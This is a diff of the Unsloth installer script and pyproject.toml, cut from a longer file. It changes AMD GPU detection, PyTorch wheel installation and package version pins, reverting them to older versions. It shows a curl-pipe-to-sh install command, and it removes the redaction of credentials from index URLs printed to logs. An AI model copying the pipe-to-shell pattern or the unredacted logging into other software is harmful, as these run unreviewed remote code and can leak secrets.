W7900"*|*"PRO W7800"*) _gpu_disp_gfx="gfx1100" ;; # RDNA 3 desktop / workstation (Navi 31) + *"9070 XT"*|*9080*) _gpu_disp_gfx="gfx1201" ;; # RDNA 4 + *9070*|*9060*) _gpu_disp_gfx="gfx1200" ;; # RDNA 4 + *"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _gpu_disp_gfx="gfx1151" ;; # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+) + *"890M"*|*"880M"*|*"860M"*|*"840M"*|*"Strix Point"*|*"Krackan"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) _gpu_disp_gfx="gfx1150" ;; # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375) + *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*|*"PRO V710"*) _gpu_disp_gfx="gfx1102" ;; # RDNA 3 (Navi 33) + *"RX 7900"*|*"RX 7800"*|*"RX 7700"*|*"PRO W7900"*|*"PRO W7800"*|*"PRO W7700"*) _gpu_disp_gfx="gfx1100" ;; # RDNA 3 desktop / workstation (Navi 31) *"780M"*|*"760M"*|*"740M"*|*"Phoenix"*|*"Hawk Point"*|*"Z1 Extreme"*|*"Z2 Extreme"*) _gpu_disp_gfx="gfx1103" ;; # RDNA 3 iGPU (Phoenix / Hawk Point) *"RX 6900"*|*"RX 6800"*|*"RX 6750"*|*"RX 6700"*|*"PRO W6800"*|*"PRO W6900"*) _gpu_disp_gfx="gfx1030" ;; # RDNA 2 (Navi 21) *"RX 6650"*|*"RX 6600"*|*"PRO W6600"*|*"PRO W6650"*) _gpu_disp_gfx="gfx1032" ;; # RDNA 2 (Navi 23) @@ -3703,17 +2589,6 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then elif [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then # Apple Silicon: PyTorch gets Metal (MPS) acceleration over unified memory, so not CPU-only. step "gpu" "Apple Silicon (Metal, unified memory)" -elif _has_amd_rocm_gpu; then - if [ "$_torch_index_pinned" = true ]; then - # An explicit UNSLOTH_TORCH_INDEX_URL/_FAMILY pin skipped all probing; - # do not claim ROCm is unusable when a CPU/other index was requested. - step "gpu" "AMD GPU (torch index pinned: $_torch_index_leaf)" "$C_WARN" - else - # AMD GPU visible to the kernel but the torch index stayed CPU: no usable - # ROCm userspace to pick a wheel. "none" would repeat the false diagnosis - # this installer used to give. - step "gpu" "AMD GPU (no usable ROCm -- CPU fallback)" "$C_WARN" - fi else step "gpu" "none (CPU-only)" "$C_WARN" fi @@ -3722,17 +2597,8 @@ fi case "$TORCH_INDEX_URL" in */cpu) if [ "$SKIP_TORCH" = false ] && [ "$OS" != "macos" ]; then - if [ "$_torch_index_pinned" = true ]; then - # An explicit CPU pin is a request, not a detection failure: - # skip the SDK guidance (ROCm may be perfectly healthy here). - substep "CPU-only PyTorch (index pinned via UNSLOTH_TORCH_INDEX_URL / _FAMILY)." - elif _has_amd_rocm_gpu; then - substep "AMD GPU detected, but no usable ROCm/HIP install -- installing CPU-only PyTorch." "$C_WARN" - substep "Install the ROCm/HIP SDK and re-run this installer for GPU PyTorch." "$C_WARN" - else - substep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN" - fi - if [ "$OS" = "wsl" ] && [ "$_torch_index_pinned" = false ]; then + substep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN" + if [ "$OS" = "wsl" ]; then # WSL + no GPU detected (detection above found nothing). Common # cause: an AMD GPU whose ROCm-on-WSL runtime isn't exposed yet -- # /dev/dxg present (graphics) but no ROCm runtime. @@ -3759,13 +2625,6 @@ case "$TORCH_INDEX_URL" in substep " driver is current; or run unsloth/scripts/install_rocm_wsl_strixhalo.sh yourself." else substep "AMD ROCm users: see https://docs.unsloth.ai/get-started/install-and-update/amd" - # Only when ROCm truly can't see the GPU: a detected-but-too-old - # ROCm (rocminfo works, wheels need 6.0+) has its own guidance. - if ! _has_amd_rocm_gpu && _amd_gpu_present_via_pci; then - substep "An AMD GPU is on the PCI bus but ROCm cannot see it (no /dev/kfd," "$C_WARN" - substep " rocminfo, or amd-smi). Install the ROCm kernel stack so /dev/kfd exists;" - substep " Strix Halo (gfx1151/gfx1150) needs a recent kernel (6.11+) and ROCm 7.x." - fi fi substep "Re-run with --no-torch for GGUF-only (faster, no PyTorch):" substep " curl -fsSL https://unsloth.ai/install.sh | sh -s -- --no-torch" @@ -3775,7 +2634,7 @@ case "$TORCH_INDEX_URL" in if [ "$_amd_gpu_radeon" = true ]; then substep "wheels: repo.radeon.com (Radeon)" else - substep "wheels: $(_strip_index_url_credentials "$TORCH_INDEX_URL")" + substep "wheels: $TORCH_INDEX_URL" fi ;; esac @@ -3783,47 +2642,9 @@ esac # ── Install unsloth directly into the venv (no activation needed) ── tauri_log "STEP" "Installing PyTorch" _VENV_PY="$VENV_DIR/bin/python" - -# A released unsloth wheel can pin an older torch (unsloth 2026.7.2 declares -# torch<2.11.0); a with-deps PyPI resolve then downgrades the whole trio, -# swapping the pinned +cuXXX/+rocm build for PyPI's default. The flavor guard -# below misses this (PyPI's torch 2.10 default is itself cu128-flavored), so -# freeze the trio via uv --overrides (overrides replace dependency requirements -# during resolution) while unsloth's other deps resolve normally. Sets -# _UNSLOTH_TORCH_OVERRIDES from the trio in the venv; every with-deps unsloth -# install (migrated and fresh) must call this before resolving and rm it after. -_build_unsloth_torch_overrides() { - _UNSLOTH_TORCH_OVERRIDES="" - [ "$SKIP_TORCH" = false ] || return 0 - _torch_trio_pins=$("$_VENV_PY" -c " -from importlib.metadata import version, PackageNotFoundError -for _p in ('torch', 'torchvision', 'torchaudio'): - try: - print(_p + '==' + version(_p)) - except PackageNotFoundError: - pass -" 2>/dev/null) || _torch_trio_pins="" - case "$_torch_trio_pins" in - torch==*) - _UNSLOTH_TORCH_OVERRIDES=$(mktemp) - printf '%s\n' "$_torch_trio_pins" > "$_UNSLOTH_TORCH_OVERRIDES" - # The CLI --overrides flag replaces any UV_OVERRIDE env file (same - # uv setting; macOS arm64 exports one here), so fold its pins in. - # awk, not cat: it drops inherited torch-trio lines (uv intersects - # duplicate overrides, so a conflicting pin would make resolution - # unsatisfiable) and newline-terminates the last line so an - # unterminated file cannot join two requirements into one. - for _ov_file in ${UV_OVERRIDE:-}; do - [ -f "$_ov_file" ] && awk '!/^[[:space:]]*torch(vision|audio)?([[:space:]<>=!~;@[]|$)/' "$_ov_file" >> "$_UNSLOTH_TORCH_OVERRIDES" - done - ;; - esac -} - if [ "$_MIGRATED" = true ]; then - # Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving - # existing torch/CUDA unless the ROCm repair below fires. - _gfx906_bnb_snapshot + # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state + # in the new venv location, while preserving existing torch/CUDA substep "upgrading unsloth in migrated environment..." if [ "$SKIP_TORCH" = true ]; then # No-torch: install unsloth + unsloth-zoo with --no-deps (current @@ -3832,7 +2653,7 @@ if [ "$_MIGRATED" = true ]; then # to prevent transitive torch resolution. run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" + "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" # Resolve pydantic WITH deps so pip pins pydantic-core to the # matching version (no-torch-runtime.txt below is --no-deps). # All transitive deps are torch-free. @@ -3843,15 +2664,9 @@ if [ "$_MIGRATED" = true ]; then run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT" fi else - # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no - # overrides file, so UV_OVERRIDE is unset and this positional is the only cover. - _build_unsloth_torch_overrides run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \ - ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" ${_MLX_LM_EXCLUDE_ARG:-} - [ -n "$_UNSLOTH_TORCH_OVERRIDES" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" - _UNSLOTH_TORCH_OVERRIDES="" + "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then substep "overlaying local repo (editable)..." @@ -3864,19 +2679,21 @@ if [ "$_MIGRATED" = true ]; then # AMD ROCm: install bitsandbytes even in migrated environments so # existing ROCm installs gain the AMD bitsandbytes build without a # fresh reinstall. - if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then - if _is_gfx906_bnb_skip; then - substep "gfx906: skipping prebuilt bitsandbytes (no gfx906 kernels); build from source for 4-bit QLoRA -- https://docs.unsloth.ai/get-started/install-and-update/amd" "$C_WARN" - else - _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" - fi - # Repair ROCm torch if overwritten during migrated install - _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) - if [ -z "$_has_hip" ]; then - substep "repairing ROCm torch (overwritten by dependency resolution)..." - _install_torch_default_index --force-reinstall - fi - _gfx906_bnb_prune + if [ "$SKIP_TORCH" = false ]; then + case "$TORCH_INDEX_URL" in + */rocm*|*/gfx*) + _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" + # Repair ROCm torch if overwritten during migrated install + _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) + if [ -z "$_has_hip" ]; then + substep "repairing ROCm torch (overwritten by dependency resolution)..." + run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \ + "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" \ + --force-reinstall + fi + ;; + esac fi elif [ -n "$TORCH_INDEX_URL" ]; then # Fresh: Step 1 - install torch from explicit index (skip when --no-torch or Intel Mac) @@ -3938,42 +2755,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then _ta_ver=$(_extract_version "$_ta_whl" "torchaudio") _radeon_versions_match=false - # Kept release (_PREV_TORCH_PIN) wins here too: pick its exact - # patch (else the newest patch of its minor) plus the paired - # vision/audio wheels. Any gap falls back to the newest-trio - # search below, mirroring _install_torch_default_index, so a - # rerun never drifts to another release nor below the kept one. - if [ -n "$_PREV_TORCH_PIN" ]; then - _prev_kept_base="${_PREV_TORCH_PIN#torch==}" - _prev_kept_minor="${_prev_kept_base#*.}" - _prev_kept_minor="${_prev_kept_minor%%.*}" - case "$_prev_kept_minor" in - ''|*[!0-9]*) ;; - *) - _kept_torch=$(_pick_radeon_wheel "torch" "${_prev_kept_base}" 2>/dev/null) || _kept_torch="" - [ -z "$_kept_torch" ] && { _kept_torch=$(_pick_radeon_wheel "torch" "2.${_prev_kept_minor}." 2>/dev/null) || _kept_torch=""; } - _kept_tv=$(_pick_radeon_wheel "torchvision" "0.$((_prev_kept_minor + 15))." 2>/dev/null) || _kept_tv="" - _kept_ta=$(_pick_radeon_wheel "torchaudio" "2.${_prev_kept_minor}." 2>/dev/null) || _kept_ta="" - if [ -n "$_kept_torch" ] && [ -n "$_kept_tv" ] && [ -n "$_kept_ta" ]; then - _torch_whl=$_kept_torch - _tv_whl=$_kept_tv - _ta_whl=$_kept_ta - _tri_whl="" - _radeon_versions_match=true - # Say so when the listing pruned the exact patch - # and a same-series build is installed instead. - case "$(printf '%s' "${_kept_torch##*/}" | sed 's/%2[Bb]/+/g')" in - "torch-${_prev_kept_base}"[+-]*) ;; - *) substep "kept release ${_prev_kept_base} is not in the Radeon listing -- installing the closest 2.${_prev_kept_minor} series build instead" ;; - esac - else - substep "[WARN] Radeon repo lacks a complete wheel set for kept $_PREV_TORCH_PIN -- installing the newest compatible set instead" "$C_WARN" - fi - ;; - esac - fi - if [ "$_radeon_versions_match" != true ] && \ - [ -n "$_torch_ver" ] && [ -n "$_tv_ver" ] && [ -n "$_ta_ver" ]; then + if [ -n "$_torch_ver" ] && [ -n "$_tv_ver" ] && [ -n "$_ta_ver" ]; then _torch_minor=${_torch_ver#*.} _ta_minor=${_ta_ver#*.} _tv_minor=${_tv_ver#*.} @@ -4030,8 +2812,10 @@ elif [ -n "$TORCH_INDEX_URL" ]; then if [ -z "$_torch_whl" ] || [ -z "$_tv_whl" ] || [ -z "$_ta_whl" ] || \ [ "$_radeon_versions_match" != true ]; then - substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))" "$C_WARN" - _install_torch_default_index + substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ + "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" else substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..." # Pass explicit wheel URLs so the matched trio is @@ -4051,39 +2835,42 @@ elif [ -n "$TORCH_INDEX_URL" ]; then fi fi else - substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))" "$C_WARN" - _install_torch_default_index + substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ + "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" fi else substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN" - _install_torch_default_index + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ + "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" fi else - substep "installing PyTorch ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))..." - _install_torch_default_index + substep "installing PyTorch ($TORCH_INDEX_URL)..." + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" fi # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths). # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm # host stays in GGUF-only mode rather than pulling in bitsandbytes, # which is only useful once torch is present for training. - if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then - if _is_gfx906_bnb_skip; then - substep "gfx906: skipping prebuilt bitsandbytes (no gfx906 kernels); build from source for 4-bit QLoRA -- https://docs.unsloth.ai/get-started/install-and-update/amd" "$C_WARN" - else - _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" - fi + if [ "$SKIP_TORCH" = false ]; then + case "$TORCH_INDEX_URL" in + */rocm*|*/gfx*) + _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY" + ;; + esac fi - _gfx906_bnb_snapshot - # Fresh: Step 2 - install unsloth, preserving the torch Step 1 installed + # Fresh: Step 2 - install unsloth, preserving pre-installed torch tauri_log "STEP" "Installing Unsloth" substep "installing unsloth (this may take a few minutes)..." - _build_unsloth_torch_overrides if [ "$SKIP_TORCH" = true ]; then # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ --upgrade-package unsloth --upgrade-package unsloth-zoo \ - "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" + "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" # Same pydantic-with-deps trick as the migrated branch. run_install_cmd_retry "install pydantic (with deps for compatible core)" \ uv pip install --python "$_VENV_PY" pydantic @@ -4101,8 +2888,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then fi elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \ - ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \ - --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" + --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." @@ -4111,27 +2897,30 @@ elif [ -n "$TORCH_INDEX_URL" ]; then "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" else run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \ - ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \ - --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-} + --upgrade-package unsloth -- "$PACKAGE_NAME" fi - [ -n "$_UNSLOTH_TORCH_OVERRIDES" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" - _UNSLOTH_TORCH_OVERRIDES="" # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1. - if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then - _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) - if [ -z "$_has_hip" ]; then - substep "repairing ROCm torch (overwritten by dependency resolution)..." - _install_torch_default_index --force-reinstall - fi - _gfx906_bnb_prune + if [ "$SKIP_TORCH" = false ]; then + case "$TORCH_INDEX_URL" in + */rocm*|*/gfx*) + _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true) + if [ -z "$_has_hip" ]; then + substep "repairing ROCm torch (overwritten by dependency resolution)..." + run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \ + "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" \ + --force-reinstall + fi + ;; + esac fi else # Fallback: GPU detection failed to produce a URL -- let uv resolve torch tauri_log "STEP" "Installing Unsloth" substep "installing unsloth (this may take a few minutes)..." if [ "$STUDIO_LOCAL_INSTALL" = true ]; then - run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto + run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." @@ -4143,15 +2932,6 @@ else fi fi -_installed_package_version=$("$_VENV_PY" -c \ - 'from importlib.metadata import version; import sys; print(version(sys.argv[1]))' \ - "$PACKAGE_NAME" 2>/dev/null || true) -if [ -n "$_installed_package_version" ]; then - step "$PACKAGE_NAME" "$_installed_package_version installed" -else - substep "[WARN] installed $PACKAGE_NAME version could not be determined" "$C_WARN" -fi - # ── Enforce the installed torch flavor matches the detected GPU build ── # PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv # keeps a stale torch==X+cpu against a GPU index and the venv silently trains on @@ -4164,12 +2944,14 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) _installed_torch_tag="" [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver") - # Repair when flavor is wrong AND the index is plain --default-index reinstallable + # Repair when flavor is wrong AND the index is plain --index-url reinstallable # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only. if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \ && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..." - _install_torch_default_index \ + run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \ + "$TORCH_CONSTRAINT" torchvision torchaudio \ + --index-url "$TORCH_INDEX_URL" \ --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) _installed_torch_tag="" @@ -4180,13 +2962,13 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN" substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN" substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN" - substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" \"$TORCHVISION_CONSTRAINT\" \"$TORCHAUDIO_CONSTRAINT\" --default-index $(_strip_index_url_credentials "$TORCH_INDEX_URL") --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" + substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" fi fi fi # ── Run studio setup ── -tauri_log "STEP" "Running Unsloth setup" +tauri_log "STEP" "Running Studio setup" # When --local, use the repo's own setup.sh directly. # Otherwise, find it inside the installed package. SETUP_SH="" @@ -4219,7 +3001,6 @@ if [ -n "$VENV_ABS_BIN" ]; then fi if ! command -v bash >/dev/null 2>&1; then - tauri_log "ERROR" "bash is required to run studio setup" step "setup" "bash is required to run studio setup" "$C_ERR" substep "Please install bash and re-run install.sh" exit 1 @@ -4242,13 +3023,6 @@ _run_setup_with_studio_home() { "$@" fi } -if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then - if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then - echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2 - exit 1 - fi - _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)" -fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then _run_setup_with_studio_home env \ SKIP_STUDIO_BASE="$_SKIP_BASE" \ @@ -4257,8 +3031,6 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then STUDIO_LOCAL_INSTALL=1 \ STUDIO_LOCAL_REPO="$_REPO_ROOT" \ UNSLOTH_NO_TORCH="$SKIP_TORCH" \ - UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \ - UNSLOTH_TAURI_MODE="$TAURI_MODE" \ bash "$SETUP_SH" =0.12.0", + "typer", "rich", "pydantic", "pyyaml", "nest-asyncio", - # Every CLI command imports studio.backend.*, which reaches structlog at - # module level. The rest of the server stack lives in the studio extra. - "structlog>=24.1.0", - # unsloth_cli/__init__.py reaches click via commands/start.py, so every - # command needs it. typer supplied it until 0.27 dropped the dependency. - "click>=8.0", ] [project.scripts] @@ -47,14 +41,8 @@ version = {attr = "unsloth.models._utils.__version__"} [tool.setuptools] include-package-data = true -[tool.setuptools.cmdclass] -# Snapshots CHANGELOG.md into studio/ so every build path ships it. -build_py = "_changelog_build.build_py" - [tool.setuptools.package-data] -unsloth_cli = ["codex_fallback_prompt.md", "pi_subagent.ts"] studio = [ - "CHANGELOG.md", "*.sh", "*.ps1", "*.bat", @@ -79,40 +67,13 @@ include = ["unsloth*", "unsloth_cli*", "studio", "studio.backend*"] exclude = ["images*", "tests*", "*.node_modules", "*.node_modules.*"] [project.optional-dependencies] -# Studio's server stack, mirroring studio/backend/requirements/studio.txt. -# test_studio_extra_matches_requirements.py catches drift. -studio = [ - "typer", - "fastapi", - "uvicorn", - "pydantic", - "packaging", - "matplotlib==3.10.9", - "pandas", - "nest_asyncio", - "datasets==4.3.0", - "pyjwt", - "huggingface-hub==0.36.2", - "structlog>=24.1.0", - "diceware", - "ddgs", - "cryptography>=42.0.0", - "boto3>=1.34.0", - "httpx>=0.27.0", - "fastmcp>=3.0.2", - "sqlite-vec==0.1.9", - "pymupdf==1.27.2.3", - "pymupdf4llm==0.3.4", - "python-docx==1.2.0", -] - triton = [ "triton>=3.0.0 ; ('linux' in sys_platform)", "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingfacenotorch = [ - "unsloth_zoo>=2026.7.6", + "unsloth_zoo>=2026.6.7", "wheel>=0.42.0", "packaging", "numpy", @@ -131,25 +92,9 @@ huggingfacenotorch = [ "trl>=0.18.2,!=0.19.0,<=0.24.0", "sentence-transformers", ] -# torchcodec backend for Gemma audio / datasets>=4 (#7225). -# Pick the audio-torch* pin matching your torch minor (see TORCH_TORCHCODEC). -# torchcodec publishes no sdist and only manylinux_2_28_x86_64, macosx_*_arm64 -# and win_amd64 wheels, so Linux aarch64, Windows ARM64 and Intel Mac have -# nothing to resolve and pip fails the whole install rather than skipping audio. -# Gate on the platforms that have a wheel, matching -# PLATFORM_LACKS_TORCHCODEC_WHEEL in studio/install_python_stack.py. -audio-torch210 = [ - "torchcodec>=0.10.0,<0.11.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))", -] -audio-torch290 = [ - "torchcodec>=0.8.0,<0.10.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))", -] -audio-torch280 = [ - "torchcodec>=0.6.0,<0.8.0 ; python_version >= '3.9' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))", -] huggingface = [ "unsloth[huggingfacenotorch]", - "unsloth_zoo>=2026.7.6", + "unsloth_zoo>=2026.6.7", "torchvision", "unsloth[triton]", ] @@ -310,6 +255,10 @@ cu118onlytorch270 = [ "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", + "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", + "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", + "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", ] cu126onlytorch270 = [ "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", @@ -333,6 +282,7 @@ cu128onlytorch270 = [ ] cu118onlytorch271 = [ "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", + "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", ] cu126onlytorch271 = [ "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", @@ -586,19 +536,16 @@ cu126-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu126onlytorch2100]", - "unsloth[audio-torch210]", ] cu128-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu128onlytorch2100]", - "unsloth[audio-torch210]", ] cu130-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu130onlytorch2100]", - "unsloth[audio-torch210]", ] kaggle = [ "unsloth[huggingface]", @@ -637,7 +584,7 @@ colab-ampere-torch220 = [ "flash-attn>=2.6.3 ; ('linux' in sys_platform)", ] colab-new = [ - "unsloth_zoo>=2026.7.6", + "unsloth_zoo>=2026.6.7", "packaging", "tyro", 